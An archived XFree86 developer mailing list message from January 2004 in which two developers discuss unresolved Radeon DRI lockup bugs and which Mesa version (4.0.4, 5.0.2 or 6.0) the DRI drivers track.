http://XFree86.Org/mailman/listinfo/devel
Re: [Dri-devel] radeon bugs
On Tue, Jan 27, 2004 at 07:52:32PM +, Alan Hourihane wrote: On Tue, Jan 27, 2004 at 02:21:42PM -0500, David Dawes wrote: On Tue, Jan 27, 2004 at 06:45:10PM +, Alan Hourihane wrote: On Tue, Jan 27, 2004 at 12:37:51PM -0500, David Dawes wrote: There are quite a few Radeon-related bugs still outstanding in bugs.xfree86.org, including several related to DRI lockups. Has anyone followed them up? David, I suspect not with XFree86's DRI drivers still being based on Mesa 4.0.4, and the DRI developers aren't tracking Mesa 4.0.x anymore. We are at Mesa 5.0.2. Doesn't the DRI project maintain a Mesa 5.0.x-based stable branch of some sort? Whoops, sorry I meant to say 5.0.2. It's moved to Mesa 6.0 now, but I don't believe there's anyone maintaining a stable 5.0.2 branch. OK, no worries. Are the still-open DRI-related bugs in bugs.xfree86.org fixed in Mesa 6.0? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
